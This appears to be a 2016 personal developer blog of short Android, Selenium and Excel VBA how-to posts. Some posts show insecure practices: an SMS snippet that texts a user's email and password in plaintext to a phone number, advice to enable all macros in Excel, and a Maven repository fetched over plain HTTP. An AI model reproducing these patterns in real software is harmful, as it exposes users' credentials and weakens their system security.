Tuesday, November 29, 2016

Selenium :Firefox Driver (Gecko Driver)

Firefox Driver (Gecko Driver)



 Gecko Driver :https://github.com/mozilla/geckodriver/releases

 public static void main(String[] args) {
             System.setProperty("webdriver.gecko.driver","path\\geckodriver.exe");
            WebDriver driver = new FirefoxDriver();
            driver.get("https://www.google.com");
}

Android : Create a Signed Apk using Android Studio

Create a Signed Apk using Android Studio


  1. open project in Android Studio
  2. Build > generate Signed APK >Create New
  3. Click on file path button in "Key store path"
  4. Select any folder or create new 
  5. Enter File name > OK button
  6.  Enter any Password and Confirm the same
  7. Key >Enter any Alias name
  8. Enter any Password and Confirm
  9. Under Certificate populate valid data
  10. Click on OK button
  11. Screen goes back to "Generate Signed APK" window >Enter Password and confirm the same
  12. Ck on Next
  13.  Click on Finish
  14. Gradle will take some time and after that user will get message "generated successfully"
  15. Click on "Show in explorer" to navigate to apk file


Monday, November 28, 2016

Android : Send SMS


Add below line in Manifest file
<uses-permission android:name="android.permission.SEND_SMS" />
 
 Eg Manifest File:

<manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.example.dejayapr.test1">

    <!-- To auto-complete the email text field in the login form with the user's emails -->    <uses-permission android:name="android.permission.GET_ACCOUNTS" />
    <uses-permission android:name="android.permission.READ_PROFILE" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.SEND_SMS" />

    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

    <application        android:allowBackup="true"        android:icon="@mipmap/ic_launcher"        android:label="@string/app_name"        android:supportsRtl="true"        android:theme="@style/AppTheme">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:name=".new_Activity" />
        <activity android:name=".Allusers"></activity>
    </application>

</manifest>
 
 
 
Code below :
 
import android.Manifest;
import android.app.PendingIntent;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Handler;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.Toast;
 
 
public void sendSMS_simple(String email,String password){
    try {
        PendingIntent pi = PendingIntent.getActivity(this, 0, new Intent(this, Object.class), 0);
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(this.phoneNo, null, email +"\n"+ password, null, null);
        Log.i("sms","SMS Sent - sendSMS_simple()"); //title - has to be in smaller case in Log.d,v,i,
    }catch(Exception e){
        Log.d("Exception Happened",e.getMessage());
    }
}

Thursday, November 24, 2016

Android : Rotating Progress Box

Rotating Progress Box

import android.Manifest;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Handler;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.Toast;


public void progress_box()  {
    final ProgressDialog  progressDialog = new ProgressDialog(this);
    progressDialog.setIndeterminate(true);
    progressDialog.setMessage("Logging in ...");
    progressDialog.show();
    Runnable progressRunnable = new Runnable() {
        @Override        public void run() {
            progressDialog.cancel();
            new misc().alert_box("Error !","No Internet Connection Available",MainActivity.this);
        }
    };
    Handler pdCanceller = new Handler();
    pdCanceller.postDelayed(progressRunnable, 2000);

}
 
 
 
Make sure the following codes is present in build.gradle (Module:app) file :

apply plugin: 'com.android.application'
android {
    compileSdkVersion 24    buildToolsVersion "24.0.3"    defaultConfig {
        applicationId "com.example.dejayapr.test1"        minSdkVersion 15        targetSdkVersion 24        versionCode 1        versionName "1.0"        testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"    }
    buildTypes {
        release {
            minifyEnabled false            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'        }
    }
    repositories {
        maven { url 'http://repo1.maven.org/maven2' }
    }
}

dependencies {
    compile fileTree(include: ['*.jar'], dir: 'libs')
    androidTestCompile('com.android.support.test.espresso:espresso-core:2.2.2', {
        exclude group: 'com.android.support', module: 'support-annotations'    })
    compile 'com.android.support:appcompat-v7:24.2.1'    compile 'com.android.support:design:24.2.1'    testCompile 'junit:junit:4.12'}

Android :Build unsigned APK file with Android Studio

Build unsigned APK file with Android Studio

http://stackoverflow.com/questions/16709848/build-unsigned-apk-file-with-android-studio

The easiest way, I guess:
  • Open Gradle tab on the right side
  • Double click YourProject/:app/assemble (or assembleDebug)
  • You'll find the apk here
    .../YourProject/app/build/outputs/apk/app-debug.apk

Thursday, November 17, 2016

Excel : Compare Data in ColA with ColB In excel (Non sequential)

 Compare Data in ColA with ColB In excel (Non sequential)


Ref : How To Enable VBA to Enable VBA in Excel

Sub Deepak_compare_c1_c2()
'This code compares the values in ColA of sheet 1 with ColB in the same sheet
'ColA = Expected Value
'ColB = Actual Value
'Values in Col A can be anywhere in ColB it will be searched
'If values in the ColA is repeated Eg {1,4,4} then it will search for 2 repeated values in ColB 'Eg:{5,6,1,4,7,4} - here 1,4,4 all three are found


Dim row_count, sExp_val, bFlag, ilast_row_ColA, ilast_row_ColB
With ActiveSheet
ilast_row_ColA = .Cells(.rows.Count, "A").End(xlUp).Row ' Last used Row in ColA
End With
With ActiveSheet
ilast_row_ColB = .Cells(.rows.Count, "B").End(xlUp).Row ' last used Row in ColB
End With
MsgBox ("ColA =" & ilast_row_ColA & " ColB =" & ilast_row_ColB)
For i = 1 To ilast_row_ColA
bFlag = False
sExp_val = Cells(i, 1).Value
For j = 1 To ilast_row_ColB
If (sExp_val = Cells(j, 2).Value And Cells(j, 2).Interior.ColorIndex <> 15) Then
Cells(i, 1).Interior.Color = vbGreen
Cells(j, 2).Interior.ColorIndex = 15
bFlag = True
End If
If (bFlag = True) Then
Exit For
End If
Next
If (bFlag = False) Then
Cells(i, 1).Interior.Color = vbRed
End If
Next
MsgBox ("Done" & vbNewLine & "Red = not Found" & vbNewLine & "Green=Found" & vbNewLine & "Grey=Greyed Out once it is matched")

End Sub

Excel : Enable VBA in Excel

Enable VBA in Excel

To enable VBA
  1.  File > Options >Select Customise the Ribbon . 
  2. You then have tick the Developer box to allow the Developer icon to appear.

To allow the Excel to run programs included with spreadsheets. 
 File>Options > Trust Center > Trust Center Settings>Macro settings >select enable all macros.

Tuesday, November 15, 2016

Android : Context

Context 

Context = Current Screen

Assuming MainActivity is currently being displayed on the screen it will hold the context.If any other method require context ,  than needs to be passed as an argument as "MainActivity.this" and receiving method receives as (Context c)

Synatx:
Method_name(ParentClass.this); // assuming ParentClass holding the context

public void Method_name(Context c){
}

Eg : 
public class MainActivity extends AppCompatActivity {

    @Override    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

       DBOperations oDBOperations=new DBOperations(MainActivity.this);
       oDBOperations.get_db_location(MainActivity.this);

    }
}

public class DBOperations {

    SQLiteOpenHelper sql_helper;
    DBOperations(Context context){
        sql_helper=new sqllitehelperclass(context);
    }
 
 public void get_db_location(Context c){
        String dbname = "mydb.db";
        Log.d("db path",c.getDatabasePath(dbname).toString());
    }
}

Tuesday, November 8, 2016

Android :Android Studio initial setup

Android Studio initial setup


Add below in build.gradle
android{
    repositories {
    maven { url 'http://repo1.maven.org/maven2' }
}
 
Add below in gradle.properties file
compile="com.android.support\:AppCompactActivity-v7.22.1.0" 

Android Studio: Set proxy Settings

Android Studio: Set proxy Settings


  1. From the menu bar, click File > Settings (on a Mac, click Android Studio > Preferences).
  2. In the left pane, click Appearance & Behavior > System Settings > HTTP Proxy. The HTTP Proxy page appears.

Or in your project , You will see "try Again" link.From here you can set the proxy

Android :make Android Studio work faster Offline

Make Android Studio work faster Offline


  1. File >Settings >Build,execution,Deployment>Compiler>In Command-line Options enter "--offline" without quotes
  2. File >Settings >Build,execution,Deployment>Gradle>Check "Offline Work" checkbox
  3. Press Apply and Ok
  4. In your Project>gradle Scripts>gradle.properties>add lines
org.gradle.daemon=trueorg.gradle.parallel=true